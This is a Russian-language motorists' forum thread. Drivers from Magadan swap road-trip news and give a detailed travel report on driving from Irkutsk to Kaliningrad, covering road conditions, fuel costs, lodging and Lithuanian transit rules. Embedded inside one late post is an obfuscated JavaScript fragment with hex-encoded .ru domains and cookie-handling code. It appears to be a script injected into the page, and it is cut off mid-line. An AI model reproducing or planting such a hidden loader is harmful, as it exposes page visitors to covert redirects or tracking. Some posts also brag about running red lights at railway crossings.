ну да, этож целый автобробег - ударим старыми ниссанами по бездорожью и разгильдяйству!

Да тут кстати очень много старых праворуких авто. Сам голову все время поворачивал когда в Крыму проезжали Висты,корсы, короллы, блюберды , глории, кроуны, марки, чайзеры, галанты. И многие дизельные. Я таких даже у нас не видел.

Ярик на хандыге.
у Сани выбило стекло камнем(скай 7х какого то года) у саньки баллоны в расход.
вот такое начало...

...вина ниссан отсутствует.

dissector, писец, приехали.
и чего теперь делать?


как так-то? стекло же ему ниссан вышиб

78го
Капец, он же новую резину купил.... Вот тебе и БЕЛШИНА

Если летел 120 по камням то любая накроется. имхо Парню надо как то помочь.

если ехать с Магадана слева по ходу на ул. Магаданской примерно посреди поселка есть шиномонтажка. Там можно б/у резину подыскать. Хозяин - молодой парень, довольно адекватный и порядочный. Дальше ближе к выезду справа типа магазин-склад по продаже резины. Хотя в Хандыге проблемно найти, ближайший нормальный магаз на рынке в Алдане. По стеклу вообще не подскажу - раритет. А так Мерс прав, нефиг гнать было.

Всё путём у них. Фото стекла кину в гидрогараж.

Всем привет,14-15 августа собираюсь ехать во Владивосток,есть кто едет в ту сторону?

Добрался до Челябинска. Завтра выезжаю в Новосибирск. Никого там по близости из путешественников нет до Магадана?

Deny напиши Андрею Andy, попроси чтобы в группу в ватс аппе добавил, не далеко едет экипаж тоже домой

Макс93 спасибо.

Добрался до Калининграда. Отпиваюсь пивом из Литвы и Беларуси. Местное не рекомендую - вода тут не очень.
Погодка душевная, море прям манит. Но... Холодное оно как Охотское и какое-то слабосоленое. При мне мужик из него плотву пресноводную вытащил.

Johny, Женька,на пару дней разминулись по дороге

и так.. мы дома! могли вернуться вчера поздно-рано-утром, но решили без фанатизма и сегодня прикатили часиков в восемь , остальное накарябаю в отчетике

вчера встретили перед Нерой несколько наших машин, а после Сусумана повалили наши такой гурьбой... ой..

Johny, блиииииин! а мы с Dolphin'ом завтра в Иркутске будем, я-то думал соберёмся пива попить аты вон оно где

п.с. про Белшину. не в расход баллоны, 2 мелких пореза, которые заделываются жгутом. причём я отремонтировал тольо одно, второе в виде доп. запаски до сих пор по салону болтается. но 60-й профиль - это ошибка. выбора не было, у меня был ханкук, поэтому надо было его сменить на вариант для трассы, а ведь середина лета, всё давно разобрали. скорее всего я баллоны в иркутске поменяю на каму/амтел максимального для себя профиля.

Гидр, бери зиму на обратную дорогу.. на Атке уже -4 было ночью

Гидр когда из Иркутска выезжаешь?
Парни и чо там с дорогой по якутии? На бриджике зима 275/65/17 пройду или лето по любому ставить надо?

GOLLANDEC, ёперный театр... а мы в якутии уже охренели спать - под утро в спальнике просыпаешься оттого, что в морду дует в закрытой машине холодом! как выскочили в забайкальский край, потеплее стало весьма, но возвращаться мне в середине сентября... да, походу и машина глушиться уже не будет, и 4вд надо будет включать, а вот если дорога раскиснет и потом замёрзнет в этом состоянии, я словлю реальную жопу...

Deny, завтра-послезавтра в иркутскенадо дела поделать, точно сказать не могу. далее выезжаю в сторону запада.

Гидр, ты еще радуйся , что брод прошел нормально, я по фары в воде шел там..., легковые стояли напрочь

А чо там с трассой в Якутии? Проколы-порезы были? Дорогу сделали или мачмала осталась на длинном участке?

трезвый образ поддерживаю

до БДестяха терпимо, потом хуже, после переправы самая плохая местами

GOLLANDEC, на броде у меня знаешь как очко сжалось... хотя реально это было до дождя и воды было мало.


Deny, без проколов и порезов не бывает. самые жопные участки в плане ям и проходимости - это соловьёвск(развязка на якутию)-тында и бестях-ытык-кюёль, а также некоторое кол-во км до кюбюме. остальное - это ремонты, где час назад отсыпали скальником и пипец. ну и дождь - дождь прошёл - дорога в гавно

п.с. кстати насчёт резины. а кто сказал, что я куда-то гнал? в якутии на спидометре ни разу больше 90 (в хороших местах) не было. не выдумывайте лишнего, пожалуйста. а то можно подумать, с радаром стояли. ниссан санни не та машина, на которой можно поливать по якутии 120 - колёсики с рычажками и стоечками раньше поотлетают

Сводка от пишущих:
GOLLANDEC'ы: прибыли в родные пенаты.
JUDGE: аналогичны GOLLANDEC'ам
holy_sterol: уже где-то у Неверской развязки.
ТИГРА: двигаются в сторону Владика в районе Читы.
motk: Тульские самовары разглядывает.
Форанер: на просторах Казахстана.
alexskiner: передышка в Туапсе.
viktorM: ночевка в 700-ах километрах до Иркутска (после Канска). Двигается к дому.
Гидр: Байкальничает. Сегодня выдвигается на Иркутск.
Deny: в районе Новосибирска. В сторону дома двигается тоже.

p.s. Deny, в ватсап внимательней глянь, должна появиться группа.

Ага. До вай Фая доберусь гляну.
Щас в Новосибе, небольшой ремонт . Сальники и подшипники на мосту меняю. Потекли по тихоньку. Ориентируюсь на завтра выезжать

В сентябре месяце, если кто едет в сторону Краснодар, Крым.. Буду рад присоединиться в качестве пассажира или сменного водителя. Либо оттуда, во второй половине сентября- октябре.

Проехали Красноярск. Двигаюсь в сторону Иркутска

Вопрос к тем кто недавно по якутии ехал..
А я на Приусе там проеду ??
Считай что Королла, + поднят на 3см.

John_Smith, там, где есть вероятность не проехать (от Бестяха в сторону дома километров... ...десят говенной глины, да и тот самый ручей, это по-моему на отрезке от прижимов на Хандыге до Усть-Неры, который можно пройти своим ходом, а можно только на буксире) - ну, постоишь немного с тросом, кто-нибудь да подцепит. Я бы взял валюту в виде пары пузырей на всякий случай, не все на трассе бывают бессребренниками. К слову, по всей Якутии алкашка продаётся с двух дня до восьми вечера.

п.с. я вот недавно проехал на Ниссан Санни - ничем не лучше Приуса в плане проходимости. Дорога местами убийство, но проезжабельна была вся.

John_Smith, местами очень медленно, можешь посечь борта камнями отлетающими от тебя или от встречки или обгоняющего, в лобовое по той же причине попасть, и, главное, что б не было дождей от Н. Бестяха до Артыка, еще дорогу делать пытаются от Чурапчи к переправе...

Жидкая валюта - это то что я первым делом взял бы в дорогу ))

А так конечно печально..
Хочется проехать на машине..
Но кроме Приуса нет ничего

John_Smith, так и едь на приусе.

John_Smith, не могу отправить лс, перезвони мтс8613169

Краткий отчет о перегоне Киа Рио из Иркутска в Калининград. Можно сюда, не хочу новую тему запиливать?

За рулем практически всю дорогу был я. Штурман/завхоз/доктор/помеха справа (в зависимости от обстоятельств) - моя жена.
Машину перед поездкой практически не готовили: сменили масла, фильтра, натянули москитную сетку на решетку радиатора, установили навигатор со свежими картами, СВ радиостанцию. С собой всегда имели термос с кипятком и что-нибудь «к чаю»– не зря, тупо попить кофе на двоих на заправке обходится неадекватно дорого, будто на бензине мало зарабатывают.

Выехали 1 августа в 8 утра из Иркутска с целью добраться до Красноярска. Бак на Рио маленький, аж раздражает - 43 литра. Но уже при остатке в 10 литров вовсю горит лампочка и борт. Компьютер (БК) говорит что запас хода 0 км. Первая заправка в Усолье Сибирском, вторая в Нижнеудинске (залили немного, чтобы хватило до Красноярского края), наконец добрались до Канска, где на Газпроме залили полный бак. Бензин в Иркутской области был по 35.50, в Крае по 32.30. Качество – небо и земля. После Газпрома мотор зашелестел – мотор стало неслышно на холостом ходу, расход по БК упал с 7,7 до 6,8 литров на сотню. На топливо в первый день ушло без малого три тысячи.
Дорога – самая убитая за все путешествие. Много ремонтов с реверсным движением, много разбитых участков.
Обедали у Петра. На двоих 500 руб. В последнее время на это заведение пошли не равнозначные отзывы, но нам понравилось. Взяли с собой необыкновенно вкусной воды – есть там у них краник и мясной копченый рулет. Вообще самая вкусная вода у нас, на Байкале. Но может это привыкли просто.
В Канске случилась мелкая неприятность: ехали через город и на последнем светофоре барышня на видавшей виды хонде с казахскими номерами резко перестроилась перед нами из левого ряда в правый и встала на разрешающий (!) сигнал светофора. В провинции школа вождения по дорогам Иркутска сыграла со мной злую шутку, к такому маневру никак не был готов. Тормозил, уходил, но бамперами шоркнулись. Пенты приехали на удивление быстро, завиноватили меня, штраф 1,5 рубля. Рекомендовали купить самый дешевый регик.
В 22:30 заехали в съемную квартиру в г. Красноярске. Однушка средняя по состоянию за 1500. Во всем путешествии на подъезде к городам заранее бронировали жилье в квартирных бюро. Явки, пароли, отзывы клиентов и фотографии искали в 2Гис.

2 августа. Выехали в 8 утра из Красноярска в сторону Кемеровской области. В г. Салаир у нас родственники, туда и стремились. На остатке топлива въехали в Кемеровскую область где заправились на 1000 руб. бензином по 31,30. Расход упал до 6,5 литров на сотню по БК.
Обедали в Мариинске кафе «Старый Мариинск». Взяли немного, но получилось дорого. На двоих чуть больше 500 рублей. При нас дальнобой ругался по поводу несоответствия указанного веса шашлыка в меню и на тарелке. Мы перевешивать не стали, но на всякий случай вычеркнули заведение из наших дальнейших планов.
После Кемерово на юг области сделан настоящий автобан с официально разрешенной скоростью 130 км/ч. Поэтому в место назначения прибыли уже в 16:30. Поход по родственникам, стол, общение…

3 августа. Выехали в 7:30, чтобы довезти родственницу, у которой ночевали, на работу в соседний городок. В 9:45 въехали в Новосибирскую область, в 10:30 – в Новосибирск. Заехали попить кофе к друзьям на правом берегу и двинулись на ту сторону через Бугринский мост – не совсем в сторону Омска, но очень хотелось посмотреть на это сооружение.
Обедали в Икее, очень вкусно и недорого – 300 рублей на двоих. В том же торговом комплексе сходили в Ашан и набрали булочек, нарезанной и запянной в ВУ ветчины и прочих съестных ништяков.
В Новосибирской области бензин дороже – по 31.80. Всего в этот день заправлялись три раза на 2550.
Дорога на Омск довольно унылая – сплошные болота, двухполосная, много фур и знаков запрещающих обгон. В Омске были в 21 час, заселились в «среднюю» квартиру стоимостью 1500 руб.

4 августа. Проснулся с болью в спине. Очевидно продуло. Знал же про такую особенность своего организма и не взял с собой соответствующие медикаменты. Супруга сходила в аптеку, купила что нужно. В 9 утра взяли курс на Ишим, в объезд Казахстана. Может зря перестраховался. Поначалу ехали довольно долго – много ремонтов. Но в 11:20 уже въехали в Тюменскую область. Бензин снова подешевел до 31,30, всего в этот день на топливо ушло 1900 рублей. За Ишимом свернули на Челябинск на отличную довольно пустую трассу (обозначение не помню) и практически сразу пообедали в кафешке. На двоих 518 рублей.
В 14:30 въехали в Курганскую область. Сам Курган поразил огромными заброшенными садоводствами на подъездах к городу. То есть стоят дачки и домишки по краям дороги на любой фасон, из разных материалов и никого! Окна/двери выбиты, некоторые крыши провалены, участки разорены, все поросло бурьяном, сюр какой-то.
В Челябинск въехали в 21 час. Сняли невероятно ухоженную квартирку со свежим ремонтом и новой мебелью всего за 1400.

5 августа. Выехали из Челябинска в 9 утра. Уральские горы – весьма красиво! Но холодно. БК показывал забортную температуру всего 11 градусов. Вдоль трассы стоит несчетное количество магазинчиков с самоварами, самогонными аппаратами, лодками и прочим незаменимыми в путешествии вещами. На одном из подъемов встали в гигантскую пробку, в рации мат-перемат: впереди авария. Что-то сказали про объезд, но потом опять мат-перемат, мол мост там с ограничением по весу, большегрузам нельзя. Открыл на телефоне яндекс-карты и нашел объезд. Прямо вдоль основной трассы петляет дорожка через поселки, убитенькая, но лучше ехать, чем стоять.
Бензин снова начал дорожать 32-32,50. Всего в этот день заправились два раза на 2100. Расход по БК упал до 6,3 литров на сотню.
В Башкирии купили их знаменитый мед. Не знаю, может и бодяженый, но вкусный, зараза. Почти как Алтайский. По 600 рублей за литр. Особенно понравился мед в сотах. Сладкий, аж зубы сводит и дыхание спирает. Пришлось купить и яблочек два ведерка. По 50 руб. за каждое.
Уфу навигатор провел через центр. Красивый город.
На Урале и в Башкирии не проголодались, хотя проезжали стоянки забитые дальнобоями, поэтому обедали в кафешке уже в Татарстане. Кафе из серии «привет из СССР». Как-то все постно и невкусно, одно слово – общепит. На двоих 430 рублей.
В Казани был чемпионат по плаванию, цены на жилье даже узнавать не стали. Заночевали в Набережных Челнах. Нормальная двушка (зачем она нам двоим?) за 1400. Попробовали лакомство Чак Чак, вкусно. На улице все говорят либо по-татарски, либо по-русски, но неразборчиво (стесняются что ли?). Когда квартиру снимали хозяйка с первых фраз сделала заключение, что мы издалека. Я спросил: «-Как догадались? Потому что по-русски говорим?» Укатывалась со смеху минут 10, наверное в точку попал.

6 августа. В 8 утра выехали в сторону Москвы. Весь Татарстан поражались качеством дорог и красотами – это вам не Омская область с болотами и комарами. В одном месте ремонтировали мост, реверсивное движение. В эфире мат-перемат, но тоже услышал фразу про объезд. Интересное дело: в Яндекс картах объезд нашел, поехали через поселочки. Но смотрим, местные ехали с нами, потом свернули на дорогу, которой нет ни в Навителе, ни в Яндексе. Мы за ними, точно – дорогу построили, на карту нанести забыли. Нетипично для остальной России.
Дорожки деревенские в Татарстане – супер, хоть боком ехай. Причем стоит деревня в три двора – и все ухоженные, чистые, подстриженные кустики, покрашенные ставенки, заборчики – загляденье. Это вам не Курган…
Бензин еще подорожал, 33 рубля за литр. Потратили в этот день на топливо 2000.
В Казани поразила длина моста через Волгу. Ехали через него минут 15, в конце моста пост ДПС, остановил инспектор для проверки документов, спросил куда едем, нет ли чего запрещенного и отпустил. Сама Казань просматривалась вдалеке, могучий городище.
Наконец Татарстан сказал нам «Херле Юл!», что значит «Счастливого пути!» (надеюсь так, не проверял) и мы въехали в Чувашию. Практически сразу так вкусно пообедали в кафешке, даже словами не описать: лагман, шурпа, манты, все просто офигительно вкусно и недорого. Оставили чуть больше 500 рублей.
В 22 часа въехали во Владимир. Сил не осталось, решили заночевать. Квартира за 1000 руб. была самая плохая за всю поездку, квартирных бюро всего 4, причем 3 из них уже были закрыты к нашем приезду. Город впечатлил только старинными церквями, в остальном – провинция с убитым жилфондом, узкими дорогами. Владимирский централ не видели.

7 августа. В 8 утра выехали в сторону Твери – нашего промежуточного финиша. Можно было бы не ночевать во Владимире и ехать в ночь, но памятуя о том, что чаще всего неприятности в дальних путешествиях случаются тогда, когда уже «крышу дома видно», решили этого не делать. Поехали по третьему (четвертому?) транспортному кольцу через Сергиев Посад, Дмитров, Клин. Зря. Надо было ехать до МКАДа и уходить на М4 – там настоящие автобаны, последний скоро сделают платным. Тут была узкая бетонка с фурами, знаками обгон запрещен, поселками и прочими прелестями сдерживающими скорость.
В Клину заправились по 33,85 на 1000 рублей. Расход по БК составил 5,8 литра на сотню (сам в шоке). Ничего не ели, какая-то апатия нас начала настигать.
В 15:30 приехали в Тверь. К другу- магаданцу. Шумная встреча, выезд на дачу (там тоже магаданцы), застолье, жаль, баня не достроена. Лег спать вечером, проснулся в 15 часов следующего дня.

8-11 августа. Ознакомление с Тверью.
Вернее цель изначально была иная: чтобы попасть в Калининград на автомобиле надо пересечь республику Беларусь, это реально наши братья – никаких границ, заезжай да ехай. Только страховку транзитную за 850 рублей купи. Далее Литва, тут попа, Евросоюз как никак. Заявления на транзитные визы принимает Литовское посольство в Москве с понедельника по четверг с 16 до 17 часов. Что там за убийство творится в эти часы я не рискнул выяснить (чуть ниже, наберитесь терпения). Вместе с анкетой надо предоставить документальные (!) сведения о том, что в Калининградской области живут мои родственники и мне действительно надо туда. Во фашисты, а? Ну живет у меня там родной брат, но он же ни в паспорт, ни в свидетельство о рождении мое не вписан. Как я докажу этим уродам, что он мой брат, а не однофамилец? Ладно, читаем дальше. Взимается консульский сбор 30 евро. Срок изготовления визы 5 дней. Могут отказать без объяснения причин. Приехали мы в пятницу, ближайший приемный день – 10 августа, визу (если +) отдадут 17 августа. А на 19 у меня уже самолет обратный… Вот, блин, и выехал заранее.
Альтернатива: паром из Питера в Балтийск. Машина 14 тысяч, каюта 3.500. Еще два дня, пока в море болтаемся, надо что-то пить и чем-то закусывать. Дорого и тоже долго…
Решение: звоню брату, говорю давай в Москву! Посадишь меня на поезд, а сам поедешь. У него виза шенгенская открыта, как у многих Калининградцев. Согласился.
Теперь про Тверь. Все мы знаем про нее из творчества известного музыканта.

Милый мой город печали и слез,
Старой России надежная твердь,
Ты засыпаешь под шепот Тверцы и Волги.
Ты засыпаешь под шепот берез.

Посетили Городской сад – снег там не падал, но шла масштабная реконструкция, прошли мимо ресторана Лазурного (братва там не гуляла, рановато очевидно), жили вообще на Пролетарке – это был самый криминальный район в 90-е. Посетили памятник творцу – он там на лавке с гитарой сидит, так что можно прям запросто рядом присесть. Не знаю почему, но город мне показался душевным и родным. Хотя, объективно, такая же провинция как Владимир. Но вернулся бы туда не раз и с удовольствием.
Волга там только начинается. Судоходная только от слияния с Тверцой. Выше – очень спокойная и теплая. Я ее даже переплыл (сказать такое в Казани – засмеют). Обратно меня, правда, на моторке перевезли, нефиг тут рекорды ставить. Пытались порыбачить, но не клевало. Отдохнули зато здорово.

12 августа. Отвез супругу в Домодедово. На работу ей пора. Из Домодедово рванул в Шереметьево –встречать брата. Из Шереметьево поехали в Смоленск, оттуда у меня куплен билет на поезд до Калининграда (про него – отдельно), так что МКАД проехали почти полностью, его длина 109 км. Но ну бы его нафиг с таким трафиком. Заправился два раза по тысяче: на выезде из Твери, в Вязьме и еще тысячу брату на дорогу дал. Забегая вперед: он заправил 10 литров на границе Беларуси и Литвы, на пустом баке въехал в Гусев Калининградской области где и заправился на тысячу, что хватило до Калининграда.

13 августа. Поезд. Сел в 2 ночи. Взяли плацкарт, боковые места. За 1700. Брать билет надо заранее, чтобы РЖД успели поставить в известность посольство Литвы, мол наш гражданин поедет через вашу территорию! Загранпаспорт обязательно! В вагоне надо заполнить анкету (ничего особенного: ФИО, дата рождения, меняли/нет фамилию и т.д) и сдать ее выездному консулу. Ходит там по вагонам такой чувак пафосный, в рубашке с нашивками Литовскими. Взамен он бесплатно выдает транзитную визу через территорию, по которой можно и вернуться в течение месяца. Бумажка формата А4.
В поезде есть биотуалет (понятно: нефиг на территорию Литвы нечистоты сливать), но почему-то нет кондиционера. В итоге ехал в трусах и простыне. Ну нереально жарко! Хорошо, что брат оперативно все границы прошел и забрал меня из этого ада в Черняховске, последние 150 км я балдел без кондиционера – тупо открыв окно.
Пограничники. При контроле надо сидеть на своем месте, хождение по вагону запрещено. Вообще было 4 остановки по 40 минут каждая: Беларусь, Литва, снова Литва, Россия. Белорусская пограничница – тетя с примотанными ремнями к пузу ящиком. На нем – чуть ли не ламповый (может транзисторный?) ноутбук асус. Одна на весь вагон. Всех проверила, паспорта отсканировала, пошла, очевидно, в следующий вагон. Жесть, ну и работенка.
Литовские пограничники – это спецназ. Человек семь на вагон, в камуфляже, на поясе: дубинка, наручники, шокер, гламурная беретта (или глок?) в кобуре с обоймой патронов на 16. Если что – полвагона без перезарядки положат. Считыватели для документов Панасоник, компактные, на сенсорах, Джеймс Бонды блин! Два раза с них фигел: на въезде и выезде.
Наши: мля, это надо было видеть! Форменные брюки и рубашка, из средств самообороны – обезоруживающая улыбка, в руках – штемпели «Въезд разрешен» (ну или что там в паспорта шлепают), всем без разбора их нафигачили… Все, вы дома! Разве что собачка перед их проходом по вагону прошлась, никак не реагируя на возгласы пассажиров.

Через Литву ехали на максимальной скорости, еще чуть-чуть и с рельсов бы сошли! По вагону невозможно было перемещаться не держась за поручни, в итоге лег и постарался уснуть, ну их нафиг с такой качкой. Как заехали за границу – заметил в окно натовский разведывательный вертолет, думал просто мимо пролетает. Когда ближе к выезду заметил его же – понял, пасут! Чтоб никто в их европейский рай не сбежал. В Вильнюсе была остановка. В специально огороженном колючей проволокой загоне на самом дальнем перроне. Для антуража не хватало вышек, собак и эсесовцев со шмайсерами. Короче фу.

14-19 августа. Калининград. Посетил его второй раз, первый – в марте 2014. Как и тогда поразил чистотой, ухоженностью, культурой вождения. Все едут по разметке, аккуратно, никто не выделывается и не выделяется (мол, смотрите какой я дебил!), при выезде со второстепенки обязательно пропускают, на газонах не паркуются. Отличие от прошлого посещения нашел в магазине: цены сравнялись с остальной Россией. Нет дешевых фруктов, овощей, молочка взлетела, пиво – так вообще дороже чем у нас. Санкции! Опять же курс доллара поменялся и многое стало невыгодно возить из Европы. Поток шопоголиков иссяк…
Встретились с автомаляром Алексеем, он еще совсем недавно в Магадане жил и трудился. Обещал бампер покоцаный отремонтировать, цену невысокую назвал – меньше чем местные просили. Уже сделал, хозяйка довольна.
Ездили купаться в Балтийск, там находится самая западная точка РФ. Представляет собой бетонную площадку на оконечности волнореза или как там это гидротехническое называется. Думал хоть какой-то памятный знак там стоит, чтоб на его фоне зачекиниться, нифига, одна хипстота с пивом и гитарой.
Понравился организованный съезд для лодок – сделан аккуратно, даже любая пузотерка может спустить прицеп и выехать обратно. Такого количества автомобилей с лодочными прицепами не видел нигде. Балтика – довольно холодная и пресная. Но пляжи шикарные песчаные. Удушающего зноя нет, ветерок освежает. Наверно этим Калининград и манит Магаданцев.
Понравилась автомойка самообслуживания. Их в Калининграде две. Порталы стоят на открытой площадке, под навесом. Въезжаешь на пост, берешь пистолет (или ружье?) высокого давления, шланг сверху нависает. В автомат загружаешь мелочь или купюры и выбираешь режимы. Их 4: пена, облив, споласкивание деминерализированой (еле выговорил) водой, воск. 10 рублей- 23 секунды. За минуту запенили, за три-смыли, ну и сполоснули напоследок, чтоб разводов не было. Воск заказывать не стали. За 120 рублей и 10 минут отмыли машину так, как считаем нужным. Никаких споров и конфликтов! Отдельно стоит пылесос, тоже автомат.
Бензин в Калининграде по 34-35 рублей. Оно и понятно: доставлять его сюда либо морем, либо через два государства, отсюда и наценка. Зато на Лукойле есть замануха: скидка выходного дня, по субботам и воскресеньям топливо дешевле на 10%.

Ночь с 19 на 20 августа. Самолет.
Поразили две вещи. Очень уж быстрый был обратный путь! Час двадцать – уже Шереметьево. Еще пять с небольшим – и в иллюминаторе увидел свой дом. Это не метафора. Аэропорт Иркутска находится в черте города, живу в 1,5 км от здания аэровокзала, глиссада прямо напротив моего балкона проходит.
Вторая. Бизнес-класс. Когда вошел в самолет, не понял: обычно это два ряда по 4 кресла. Как правило либо пустует, либо какой-нибудь губернатор там летит. Здесь же было 8 рядов по 4 кресла в каждом. Треть фюзеляжа! Битком! В эконом классе нет-нет, но свободные места были. Наверное скоро появится супер-вип класс с отдельной каютой, массажисткой и т.д. А нищебродов еще теснее спрессуют ближе к туалету. Кризис в стране, блин.
Выводы и предложения.
1. Нужен видеорегистратор. Пусть самый простой. Радар детектор – нафиг не нужен. Все стационарные камеры отмечены в навигаторе, о треногах и засадах предупреждают по рации. За всю поездку единственный штраф – за ДТП в Канске.
2. Заезжать каждую ночь в город на ночевку – это бред. Пока заедешь, договоришься, расположишься, с утра сдашь жилье и выедешь на трассу… Короче бред. Надо подготовить в машине минимальный уровень комфорта для ночевки «на обочине». Лучше на стоянке с кафешкой, санузлом и душем, это теперь не редкость. Если дополнить это газовой плиточкой с чайничком – вы становитесь бессмертны.
3. Вот вроде и мотор 1,4, и машина не старая, и не гнали как чумачечие, и не петляли по достопримечательностям, но расходы на топливо повергают в уныние. Выход: перевести мотор на газовое топливо. Да, да! Для путешествующих Магаданцев с бензиновыми моторами это тоже выход! Вот спросите у GOLLANDEC, сколько у него ушло топливо в бензиновый Хайс? А ведь он ехал на нем второй раз. Может он аккуратно собирал чеки, прикрепит их к отчету и сдаст в бухгалтерию: оплатите, мол. Тогда вопрос снимается. Но не у всех есть такая возможность. ГАЗС начинаются в Якутске и далее их сеть только разрастается. http://gazmap.ru/karti/gazovie-zapravki-obschaya-karta
Для себя я выбор сделал и вчера уже заправил полный 50 литровый бак за 700 рублей. Но об этом – в другой теме.
 

Женя, у меня ограничение не больше стоимости авиабилета в данном направлении, по справки с ММЗ расход 16,5 с учетом пробок и прочего, паспортный 12, 5. а отчет то уже есть
но могу тебе сказать - полюбому вышло дешевле чем брать билеты на 4 человек.

п.с. радар-детектор не такое уж и зло, хоть есть ложные срабатывания на колхозные сонары авто или сотовые вышки (да да.. из далека палит, ближе подъезжаешь - молчит), меня выручал и не раз...

GOLLANDEC, не наваливай больше сотки вне нас. пунктов и больше 70 в оных, на кой тогда детектор?
я вот прекрасно обхожусь
на моем 5E-FE быстрее сотни и нежелательно

Торонага, поедешь - узнаешь, бывает всякое, меня в эту поездку за 73 нахлобучили за городом.. на отличном асфальте после ремонта.. стоял полтишок... и трактор выехал впереди с поля... потом у себя все равно писать буду

GOLLANDEC, дык езжу же
полтишок - 67 еду, вчера попался древний на 40 км/ч, и что ты думаешь? ехал полтос до первого пересечения.

скоростной режим - святое. Зато пару жД переездов на красный проскочил и одной сверхборзой Ниве организовал помеху справа на внутридворовой развязке.

Торонага, ну теперь по Магадану в "злостные...." будешь попадать , 73 было на обгоне того трактора, вернее сразу после, иначе б еще на один знак попал... повезло инспекторам, до того ехал 90

GOLLANDEC, не, ну никто ж не видел на переездах )
а Нива сама виновата, и по ПДД я был абсолютно прав. Они ж здесь тоже ездят по понятиям.

а в Гамадане я по жизни "злостный" , это здесь побздёхиваю слеганца

Торонага, по понятиям ездят везде

Ну так что 13.09 в силе?
Место понятно, а время?

Женский экипаж тигры вернулся без особых потерь,с массой впечатлений,уставший,но с трофеем в виде лехуса).
Тыщу лет не была на форуме и улыбнуло, что тут оказывается писали передвижения.
А может мы втихушку хотели?)))
А теперь пол города знает,что мы аршано-саянились и рядом с Мотком

Моя планируемая поездка во Владивосток не состоится в этом году. Уже не вытяну по финансам после отдыха на югах. Скатаюсь только в Усть-Неру к знакомым.

А я в Туле.завтра в Иваново.

Estonec, разминемся, Валера
Я буквально через час сваливаю из Костромской области в Поднерезиновск, можно было б через Иваново/Владимир. Кысмет, видать, такой.
На чём шпилишь?

Судя по возрастному составу нашей встречи 13 сентября, сбор экипажей с опытом поездок. Давайте пополним советами где ночевать молодежи.....

Тема здесь, места остановок....

привет всем! доехали ло Краснодара за 15 дней,не считая отдыха на Байкале. самые убитые дороги,на удивление,были в саратовской и волгоградской областях...ну и в Якутии через речку было очково на заднем приводе window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="9330",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Торонага, Я на крайслере питикрузере гонзаю по материку.,завтра уже с иваново обратно в тулу...потом подготовка машин и алга в магаданск. Всё прикольно кроме мегапробки на участке москва-лакинск.там новую дорогу строят и на пробку уходит два,три часа.

Завтра стартуем домой . Как я рад,как я рад что поеду в магадан